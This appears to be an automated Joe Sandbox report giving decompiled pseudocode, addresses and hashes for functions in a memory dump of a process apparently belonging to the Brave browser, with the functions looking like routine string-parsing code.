0x7ff6fc4c6428
0x7ff6fc4c642b
0x7ff6fc4c6431
0x7ff6fc4c6435
0x7ff6fc4c643e
0x7ff6fc4c6444
0x7ff6fc4c645b
0x7ff6fc4c645f
0x7ff6fc4c6467
0x7ff6fc4c646a
0x7ff6fc4c6470
0x7ff6fc4c6474
0x7ff6fc4c6480
0x7ff6fc4c6485
0x7ff6fc4c6493
0x7ff6fc4c6498
0x7ff6fc4c64a2
0x7ff6fc4c64a8
0x7ff6fc4c64bf
0x7ff6fc4c64c3
0x7ff6fc4c64cb
0x7ff6fc4c64ce
0x7ff6fc4c64d4
0x7ff6fc4c64d8
0x7ff6fc4c64dc
0x7ff6fc4c64eb
0x7ff6fc4c64f0
0x7ff6fc4c64f8
0x7ff6fc4c6501
0x7ff6fc4c6507
0x7ff6fc4c6512
0x7ff6fc4c6517
0x7ff6fc4c651e
0x7ff6fc4c6522
0x7ff6fc4c6537
0x7ff6fc4c653c
0x7ff6fc4c6541
0x7ff6fc4c6544
0x7ff6fc4c6550
0x7ff6fc4c6557
0x7ff6fc4c655e
0x7ff6fc4c656a
0x7ff6fc4c656c
0x7ff6fc4c6570
0x7ff6fc4c6575
0x7ff6fc4c657c
0x7ff6fc4c657f
0x7ff6fc4c6584
0x7ff6fc4c658c
0x7ff6fc4c6592
0x7ff6fc4c6598
0x7ff6fc4c65a8
0x7ff6fc4c65b2
0x7ff6fc4c65ba
0x7ff6fc4c65bf
0x7ff6fc4c65d0
0x7ff6fc4c65da
0x7ff6fc4c65de
0x7ff6fc4c65e6
0x7ff6fc4c65ec
0x7ff6fc4c65f2
0x7ff6fc4c65f7
0x7ff6fc4c6600
0x7ff6fc4c6601
0x7ff6fc4c6602
0x7ff6fc4c6607
0x7ff6fc4c6614
0x7ff6fc4c661e
0x7ff6fc4c6626
0x7ff6fc4c662d
0x7ff6fc4c6633
0x7ff6fc4c6642
0x7ff6fc4c6656
0x7ff6fc4c6666
0x7ff6fc4c6669
0x7ff6fc4c666b
0x7ff6fc4c666d
0x7ff6fc4c6673
0x7ff6fc4c667e

APIs

malloc.MSVCRT ref: 00007FF6FC4F2752

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 1731b14f2956df255452849adda0d94321e9a15643b3c7cb3cb0a14edf0ebb61
Instruction ID: 24e052241ce1f705a37cf0ef5084b5840be41e85346b281f3f69b69d3f77dd42
Opcode Fuzzy Hash: 1731b14f2956df255452849adda0d94321e9a15643b3c7cb3cb0a14edf0ebb61
Instruction Fuzzy Hash: 44212632909B05C2E720CF14F8813A933A0FB8474CF254225C2AC873A5EF7DE684D780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4C6288 Relevance: 1.3, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E00007FF67FF6FC4C6288(void* __eax, void* __ebx, void* __rbx, void* __rcx, void* __rdx, void* __r8, signed char* _a40) {
				signed int _t108;
				signed int _t119;
				signed int _t125;
				signed int _t127;
				signed int _t129;
				signed int _t132;
				signed int _t134;
				signed int _t136;
				signed int _t139;
				signed int _t142;
				void* _t171;
				intOrPtr* _t176;
				intOrPtr* _t179;
				intOrPtr* _t182;
				char* _t183;
				signed char* _t184;
				intOrPtr* _t187;
				intOrPtr* _t190;
				signed char* _t193;
				intOrPtr* _t196;
				signed char* _t197;
				signed char* _t199;
				signed char* _t200;
				intOrPtr* _t233;
				signed char* _t234;
				signed char* _t235;
				long long _t244;
				void* _t251;

				_t125 =  *(__rbx + 0x28);
				if (_t125 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f26dc;
				_t176 = (_t125 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t176 + 4)) = 0;
				 *(__rbx + 0x28) = _t125 + 1;
				 *_t176 = 0x27;
				 *((long long*)(_t176 + 0x10)) = 0xfc775320;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 9;
				_t127 =  *(__rbx + 0x28);
				if (_t127 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f26a9;
				_t179 = (_t127 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t179 + 4)) = 0;
				 *(__rbx + 0x28) = _t127 + 1;
				 *_t179 = 0x27;
				 *((long long*)(_t179 + 0x10)) = 0xfc7753c0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				_t129 =  *(__rbx + 0x28);
				if (_t129 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f2702;
				_t182 = (_t129 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t182 + 4)) = 0;
				 *(__rbx + 0x28) = _t129 + 1;
				 *_t182 = 0x27;
				 *((long long*)(_t182 + 0x10)) = 0xfc775360;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 0xa;
				goto 0xfc4c5c22;
				 *_t182 =  *_t182 + __eax;
				_t108 =  *(__rbx + 0x28);
				if (_t108 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4c5c20;
				_t233 = (_t108 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t233 + 4)) = 0;
				 *(__rbx + 0x28) = _t108 + 1;
				 *_t233 = 0x42;
				 *((intOrPtr*)(_t233 + 0x10)) = E00007FF67FF6FC4C4E90(_t182, __rbx, __rdx, __r8, _t251);
				_t183 =  *(__rbx + 0x18);
				if ( *_t183 != 0x5f) goto 0xfc4c5c20;
				_t184 = _t183 + 1;
				 *(__rbx + 0x18) = _t184;
				E00007FF67FF6FC4C5BC0();
				E00007FF67FF6FC4C4DD0();
				_a40 = _t184;
				_t132 =  *(__rbx + 0x28);
				if (_t132 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f2670;
				_t187 = (_t132 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t187 + 4)) = 0;
				 *(__rbx + 0x28) = _t132 + 1;
				 *_t187 = 0x27;
				 *((long long*)(_t187 + 0x10)) = 0xfc775340;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 9;
				_t134 =  *(__rbx + 0x28);
				if (_t134 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f2715;
				_t190 = (_t134 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t190 + 4)) = 0;
				 *(__rbx + 0x28) = _t134 + 1;
				 *_t190 = 0x27;
				 *((long long*)(_t190 + 0x10)) = 0xfc775400;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 0x11;
				_t136 =  *(__rbx + 0x28);
				if (_t136 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f26ef;
				_t193 = (_t136 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t193 + 4)) = 0;
				 *(__rbx + 0x28) = _t136 + 1;
				 *_t193 = 0x27;
				 *((long long*)(_t193 + 0x10)) = 0xfc7753a0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 7;
				E00007FF67FF6FC4C5BC0();
				r9d = 0;
				E00007FF67FF6FC4C4DD0();
				_a40 = _t193;
				_t139 =  *(__rbx + 0x28);
				if (_t139 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f2683;
				_t196 = (_t139 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t196 + 4)) = 0;
				 *(__rbx + 0x28) = _t139 + 1;
				 *_t196 = 0x27;
				 *((long long*)(_t196 + 0x10)) = 0xfc7753e0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				goto 0xfc4c5c22;
				E00007FF67FF6FC4C6EE0(_t196, __rbx);
				_a40 = _t196;
				if (_t196 == 0) goto 0xfc4c5c20;
				if ( *_t196 != 0x18) goto 0xfc4c5d39;
				goto 0xfc4c5c22;
				goto 0xfc4c6051;
				_t197 = _t196 + 1;
				 *(__rbx + 0x18) = _t197;
				E00007FF67FF6FC4C89F0(__rbx);
				E00007FF67FF6FC4C4DD0();
				_a40 = _t197;
				_t234 = _t197;
				goto 0xfc4c5f58;
				r12d =  *(__rbx + 0x28);
				 *(__rbx + 0x18) =  &(_t234[1]);
				E00007FF67FF6FC4C89F0(__rbx);
				if ( *( *(__rbx + 0x18)) == 0x49) goto 0xfc4c6584;
				 *(__rbx + 0x18) = _t234;
				_t199 = _a40;
				 *(__rbx + 0x28) = r12d;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48));
				goto 0xfc4c5d30;
				_t244 = _a40;
				if (_t244 == 0) goto 0xfc4c5c20;
				_t142 =  *(__rbx + 0x38);
				if (_t142 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0xfc4c5c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t142 * 8)) = _t244;
				 *(__rbx + 0x38) = _t142 + 1;
				E00007FF67FF6FC4C4DD0();
				_a40 = _t199;
				 *((intOrPtr*)(__rbx + 0x4c)) = 1;
				 *(__rbx + 0x18) = _t244 + 3;
				E00007FF67FF6FC4C7F20(_t199, __rbx);
				_t235 = _t199;
				if (_t199 != 0) goto 0xfc4c6386;
				goto 0xfc4c5c20;
				asm("o16 nop [eax+eax]");
				_push(0xfc7753e0);
				_push(_t235);
				_push(__rbx);
				_t200 =  *(__rbx + 0x18);
				if (sil == 0) goto 0xfc4c66c8;
				 *(__rbx + 0x18) =  &(_t200[1]);
				r10d =  *_t200 & 0x000000ff;
				if (sil != 0) goto 0xfc4c66d0;
				r8d = 0x45;
				asm("o16 nop [eax+eax]");
				_t119 = (r8d >> 0x1f) + r8d >> 1;
				_t171 =  *((intOrPtr*)( *((intOrPtr*)(0xfc774820 + (_t119 + _t119 * 2) * 8)))) - r10b;
				if (_t171 == 0) goto 0xfc4c6680;
				if (_t171 <= 0) goto 0xfc4c66c0;
				r8d = _t119;
				if (0 != r8d) goto 0xfc4c6648;
				return 0;
			}

0x7ff6fc4c6288
0x7ff6fc4c628e
0x7ff6fc4c62a5
0x7ff6fc4c62a9
0x7ff6fc4c62b1
0x7ff6fc4c62b4
0x7ff6fc4c62ba
0x7ff6fc4c62be
0x7ff6fc4c62c7
0x7ff6fc4c62cd
0x7ff6fc4c62e4
0x7ff6fc4c62e8
0x7ff6fc4c62f0
0x7ff6fc4c62f3
0x7ff6fc4c62f9
0x7ff6fc4c62fd
0x7ff6fc4c6306
0x7ff6fc4c630c
0x7ff6fc4c6323
0x7ff6fc4c6327
0x7ff6fc4c632f
0x7ff6fc4c6332
0x7ff6fc4c6338
0x7ff6fc4c633c
0x7ff6fc4c6340
0x7ff6fc4c634e
0x7ff6fc4c6350
0x7ff6fc4c6356
0x7ff6fc4c6369
0x7ff6fc4c636d
0x7ff6fc4c6375
0x7ff6fc4c6378
0x7ff6fc4c6383
0x7ff6fc4c6386
0x7ff6fc4c638d
0x7ff6fc4c6393
0x7ff6fc4c639a
0x7ff6fc4c639e
0x7ff6fc4c63b1
0x7ff6fc4c63b6
0x7ff6fc4c63c0
0x7ff6fc4c63c6
0x7ff6fc4c63dd
0x7ff6fc4c63e1
0x7ff6fc4c63e9
0x7ff6fc4c63ec
0x7ff6fc4c63f2
0x7ff6fc4c63f6
0x7ff6fc4c63ff
0x7ff6fc4c6405
0x7ff6fc4c641c
0x7ff6fc4c6420
0x7ff6fc4c6428
0x7ff6fc4c642b
0x7ff6fc4c6431
0x7ff6fc4c6435
0x7ff6fc4c643e
0x7ff6fc4c6444
0x7ff6fc4c645b
0x7ff6fc4c645f
0x7ff6fc4c6467
0x7ff6fc4c646a
0x7ff6fc4c6470
0x7ff6fc4c6474
0x7ff6fc4c6480
0x7ff6fc4c6485
0x7ff6fc4c6493
0x7ff6fc4c6498
0x7ff6fc4c64a2
0x7ff6fc4c64a8
0x7ff6fc4c64bf
0x7ff6fc4c64c3
0x7ff6fc4c64cb
0x7ff6fc4c64ce
0x7ff6fc4c64d4
0x7ff6fc4c64d8
0x7ff6fc4c64dc
0x7ff6fc4c64eb
0x7ff6fc4c64f0
0x7ff6fc4c64f8
0x7ff6fc4c6501
0x7ff6fc4c6507
0x7ff6fc4c6512
0x7ff6fc4c6517
0x7ff6fc4c651e
0x7ff6fc4c6522
0x7ff6fc4c6537
0x7ff6fc4c653c
0x7ff6fc4c6541
0x7ff6fc4c6544
0x7ff6fc4c6550
0x7ff6fc4c6557
0x7ff6fc4c655e
0x7ff6fc4c656a
0x7ff6fc4c656c
0x7ff6fc4c6570
0x7ff6fc4c6575
0x7ff6fc4c657c
0x7ff6fc4c657f
0x7ff6fc4c6584
0x7ff6fc4c658c
0x7ff6fc4c6592
0x7ff6fc4c6598
0x7ff6fc4c65a8
0x7ff6fc4c65b2
0x7ff6fc4c65ba
0x7ff6fc4c65bf
0x7ff6fc4c65d0
0x7ff6fc4c65da
0x7ff6fc4c65de
0x7ff6fc4c65e6
0x7ff6fc4c65ec
0x7ff6fc4c65f2
0x7ff6fc4c65f7
0x7ff6fc4c6600
0x7ff6fc4c6601
0x7ff6fc4c6602
0x7ff6fc4c6607
0x7ff6fc4c6614
0x7ff6fc4c661e
0x7ff6fc4c6626
0x7ff6fc4c662d
0x7ff6fc4c6633
0x7ff6fc4c6642
0x7ff6fc4c6656
0x7ff6fc4c6666
0x7ff6fc4c6669
0x7ff6fc4c666b
0x7ff6fc4c666d
0x7ff6fc4c6673
0x7ff6fc4c667e

APIs

malloc.MSVCRT ref: 00007FF6FC4F2752

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 4a586fe9f6b64563d0b732497717a3f58c20024f98ae7e172170f53db001dab5
Instruction ID: f3e870904df3e2baec1b434c72a66f416709a720343fb86a60dbc435de65a59c
Opcode Fuzzy Hash: 4a586fe9f6b64563d0b732497717a3f58c20024f98ae7e172170f53db001dab5
Instruction Fuzzy Hash: 1F111672A09B09C2E720CF14F8813A937A0FB9474CF655225C2AC873A5EF7DD685D784

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4C643E Relevance: 1.3, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00007FF67FF6FC4C643E(void* __rbx, signed char* _a40) {
				signed int _t61;
				signed int _t65;
				signed int _t68;
				signed int _t71;
				void* _t91;
				signed char* _t96;
				intOrPtr* _t99;
				signed char* _t100;
				signed char* _t102;
				signed char* _t103;
				signed char* _t124;
				signed char* _t125;
				long long _t132;

				_t65 =  *(__rbx + 0x28);
				if (_t65 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f26ef;
				_t96 = (_t65 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t96 + 4)) = 0;
				 *(__rbx + 0x28) = _t65 + 1;
				 *_t96 = 0x27;
				 *((long long*)(_t96 + 0x10)) = 0xfc7753a0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 7;
				E00007FF67FF6FC4C5BC0();
				r9d = 0;
				E00007FF67FF6FC4C4DD0();
				_a40 = _t96;
				_t68 =  *(__rbx + 0x28);
				if (_t68 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f2683;
				_t99 = (_t68 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t99 + 4)) = 0;
				 *(__rbx + 0x28) = _t68 + 1;
				 *_t99 = 0x27;
				 *((long long*)(_t99 + 0x10)) = 0xfc7753e0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				goto 0xfc4c5c22;
				E00007FF67FF6FC4C6EE0(_t99, __rbx);
				_a40 = _t99;
				if (_t99 == 0) goto 0xfc4c5c20;
				if ( *_t99 != 0x18) goto 0xfc4c5d39;
				goto 0xfc4c5c22;
				goto 0xfc4c6051;
				_t100 = _t99 + 1;
				 *(__rbx + 0x18) = _t100;
				E00007FF67FF6FC4C89F0(__rbx);
				E00007FF67FF6FC4C4DD0();
				_a40 = _t100;
				_t124 = _t100;
				goto 0xfc4c5f58;
				r12d =  *(__rbx + 0x28);
				 *(__rbx + 0x18) =  &(_t124[1]);
				E00007FF67FF6FC4C89F0(__rbx);
				if ( *( *(__rbx + 0x18)) == 0x49) goto 0xfc4c6584;
				 *(__rbx + 0x18) = _t124;
				_t102 = _a40;
				 *(__rbx + 0x28) = r12d;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48));
				goto 0xfc4c5d30;
				_t132 = _a40;
				if (_t132 == 0) goto 0xfc4c5c20;
				_t71 =  *(__rbx + 0x38);
				if (_t71 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0xfc4c5c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t71 * 8)) = _t132;
				 *(__rbx + 0x38) = _t71 + 1;
				E00007FF67FF6FC4C4DD0();
				_a40 = _t102;
				 *((intOrPtr*)(__rbx + 0x4c)) = 1;
				 *(__rbx + 0x18) = _t132 + 3;
				E00007FF67FF6FC4C7F20(_t102, __rbx);
				_t125 = _t102;
				if (_t102 != 0) goto 0xfc4c6386;
				goto 0xfc4c5c20;
				asm("o16 nop [eax+eax]");
				_push(0xfc7753e0);
				_push(_t125);
				_push(__rbx);
				_t103 =  *(__rbx + 0x18);
				if (sil == 0) goto 0xfc4c66c8;
				 *(__rbx + 0x18) =  &(_t103[1]);
				r10d =  *_t103 & 0x000000ff;
				if (sil != 0) goto 0xfc4c66d0;
				r8d = 0x45;
				asm("o16 nop [eax+eax]");
				_t61 = (r8d >> 0x1f) + r8d >> 1;
				_t91 =  *((intOrPtr*)( *((intOrPtr*)(0xfc774820 + (_t61 + _t61 * 2) * 8)))) - r10b;
				if (_t91 == 0) goto 0xfc4c6680;
				if (_t91 <= 0) goto 0xfc4c66c0;
				r8d = _t61;
				if (0 != r8d) goto 0xfc4c6648;
				return 0;
			}

0x7ff6fc4c643e
0x7ff6fc4c6444
0x7ff6fc4c645b
0x7ff6fc4c645f
0x7ff6fc4c6467
0x7ff6fc4c646a
0x7ff6fc4c6470
0x7ff6fc4c6474
0x7ff6fc4c6480
0x7ff6fc4c6485
0x7ff6fc4c6493
0x7ff6fc4c6498
0x7ff6fc4c64a2
0x7ff6fc4c64a8
0x7ff6fc4c64bf
0x7ff6fc4c64c3
0x7ff6fc4c64cb
0x7ff6fc4c64ce
0x7ff6fc4c64d4
0x7ff6fc4c64d8
0x7ff6fc4c64dc
0x7ff6fc4c64eb
0x7ff6fc4c64f0
0x7ff6fc4c64f8
0x7ff6fc4c6501
0x7ff6fc4c6507
0x7ff6fc4c6512
0x7ff6fc4c6517
0x7ff6fc4c651e
0x7ff6fc4c6522
0x7ff6fc4c6537
0x7ff6fc4c653c
0x7ff6fc4c6541
0x7ff6fc4c6544
0x7ff6fc4c6550
0x7ff6fc4c6557
0x7ff6fc4c655e
0x7ff6fc4c656a
0x7ff6fc4c656c
0x7ff6fc4c6570
0x7ff6fc4c6575
0x7ff6fc4c657c
0x7ff6fc4c657f
0x7ff6fc4c6584
0x7ff6fc4c658c
0x7ff6fc4c6592
0x7ff6fc4c6598
0x7ff6fc4c65a8
0x7ff6fc4c65b2
0x7ff6fc4c65ba
0x7ff6fc4c65bf
0x7ff6fc4c65d0
0x7ff6fc4c65da
0x7ff6fc4c65de
0x7ff6fc4c65e6
0x7ff6fc4c65ec
0x7ff6fc4c65f2
0x7ff6fc4c65f7
0x7ff6fc4c6600
0x7ff6fc4c6601
0x7ff6fc4c6602
0x7ff6fc4c6607
0x7ff6fc4c6614
0x7ff6fc4c661e
0x7ff6fc4c6626
0x7ff6fc4c662d
0x7ff6fc4c6633
0x7ff6fc4c6642
0x7ff6fc4c6656
0x7ff6fc4c6666
0x7ff6fc4c6669
0x7ff6fc4c666b
0x7ff6fc4c666d
0x7ff6fc4c6673
0x7ff6fc4c667e

APIs

malloc.MSVCRT ref: 00007FF6FC4F2752

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 97eddf928f2e38fbbb701ce9b99b95fc6c7318aa46dfaeeecf81e75b1b815b8d
Instruction ID: 65a6f82ec5174938db2c281d27ad5a081655d9e16462955fdf1e4016afed2f15
Opcode Fuzzy Hash: 97eddf928f2e38fbbb701ce9b99b95fc6c7318aa46dfaeeecf81e75b1b815b8d
Instruction Fuzzy Hash: A311E072A09B05C6E7208F14F8813A933A1FB84748F659125C2AC873A9EF7DE695D784

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4C6306 Relevance: 1.3, APIs: 1, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00007FF67FF6FC4C6306(void* __eax, void* __ebx, void* __rbx, void* __rcx, void* __rdx, void* __r8, signed char* _a40) {
				signed int _t92;
				signed int _t103;
				signed int _t109;
				signed int _t112;
				signed int _t114;
				signed int _t116;
				signed int _t119;
				signed int _t122;
				void* _t149;
				intOrPtr* _t154;
				char* _t155;
				signed char* _t156;
				intOrPtr* _t159;
				intOrPtr* _t162;
				signed char* _t165;
				intOrPtr* _t168;
				signed char* _t169;
				signed char* _t171;
				signed char* _t172;
				intOrPtr* _t203;
				signed char* _t204;
				signed char* _t205;
				long long _t214;
				void* _t221;

				_t109 =  *(__rbx + 0x28);
				if (_t109 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f2702;
				_t154 = (_t109 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t154 + 4)) = 0;
				 *(__rbx + 0x28) = _t109 + 1;
				 *_t154 = 0x27;
				 *((long long*)(_t154 + 0x10)) = 0xfc775360;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 0xa;
				goto 0xfc4c5c22;
				 *_t154 =  *_t154 + __eax;
				_t92 =  *(__rbx + 0x28);
				if (_t92 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4c5c20;
				_t203 = (_t92 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t203 + 4)) = 0;
				 *(__rbx + 0x28) = _t92 + 1;
				 *_t203 = 0x42;
				 *((intOrPtr*)(_t203 + 0x10)) = E00007FF67FF6FC4C4E90(_t154, __rbx, __rdx, __r8, _t221);
				_t155 =  *(__rbx + 0x18);
				if ( *_t155 != 0x5f) goto 0xfc4c5c20;
				_t156 = _t155 + 1;
				 *(__rbx + 0x18) = _t156;
				E00007FF67FF6FC4C5BC0();
				E00007FF67FF6FC4C4DD0();
				_a40 = _t156;
				_t112 =  *(__rbx + 0x28);
				if (_t112 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f2670;
				_t159 = (_t112 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t159 + 4)) = 0;
				 *(__rbx + 0x28) = _t112 + 1;
				 *_t159 = 0x27;
				 *((long long*)(_t159 + 0x10)) = 0xfc775340;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 9;
				_t114 =  *(__rbx + 0x28);
				if (_t114 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f2715;
				_t162 = (_t114 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t162 + 4)) = 0;
				 *(__rbx + 0x28) = _t114 + 1;
				 *_t162 = 0x27;
				 *((long long*)(_t162 + 0x10)) = 0xfc775400;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 0x11;
				_t116 =  *(__rbx + 0x28);
				if (_t116 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f26ef;
				_t165 = (_t116 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t165 + 4)) = 0;
				 *(__rbx + 0x28) = _t116 + 1;
				 *_t165 = 0x27;
				 *((long long*)(_t165 + 0x10)) = 0xfc7753a0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 7;
				E00007FF67FF6FC4C5BC0();
				r9d = 0;
				E00007FF67FF6FC4C4DD0();
				_a40 = _t165;
				_t119 =  *(__rbx + 0x28);
				if (_t119 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f2683;
				_t168 = (_t119 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t168 + 4)) = 0;
				 *(__rbx + 0x28) = _t119 + 1;
				 *_t168 = 0x27;
				 *((long long*)(_t168 + 0x10)) = 0xfc7753e0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				goto 0xfc4c5c22;
				E00007FF67FF6FC4C6EE0(_t168, __rbx);
				_a40 = _t168;
				if (_t168 == 0) goto 0xfc4c5c20;
				if ( *_t168 != 0x18) goto 0xfc4c5d39;
				goto 0xfc4c5c22;
				goto 0xfc4c6051;
				_t169 = _t168 + 1;
				 *(__rbx + 0x18) = _t169;
				E00007FF67FF6FC4C89F0(__rbx);
				E00007FF67FF6FC4C4DD0();
				_a40 = _t169;
				_t204 = _t169;
				goto 0xfc4c5f58;
				r12d =  *(__rbx + 0x28);
				 *(__rbx + 0x18) =  &(_t204[1]);
				E00007FF67FF6FC4C89F0(__rbx);
